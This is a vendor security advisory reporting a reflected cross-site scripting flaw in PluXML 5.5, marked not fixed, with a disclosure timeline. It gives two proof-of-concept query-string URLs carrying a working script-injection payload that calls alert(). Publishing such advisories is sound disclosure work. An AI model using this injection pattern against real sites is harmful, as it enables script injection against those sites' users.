Information
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Advisory by Netsparker
Name: Reflected XSS Vulnerability in PluXML
Affected Software : PluXML
Affected Versions: 5.5
Vendor Homepage : http://www.pluxml.org/  
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not Fixed
Netsparker Advisory Reference : NS-17-026

Technical Details
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Proof of Concept URL for XSS vulnerability in PluXML 5.5;

Proof URL /PluXml/?'"--></style></scRipt><scRipt>alert(0x001124)</scRipt>
Parameter Name Query Based
Parameter Type Query String
Attack Pattern '"--></style></scRipt><scRipt>alert(0x001124)</scRipt>

Proof URL /PluXml/index.php?'"--></style></scRipt><scRipt>alert(0x001AB7)</scRipt>
Parameter Name Query Based
Parameter Type Query String
Attack Pattern '"--></style></scRipt><scRipt>alert(0x001AB7)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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30 Jan 2017 - Issue reported.
12 June 2017 - Advisory released.

Solution
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Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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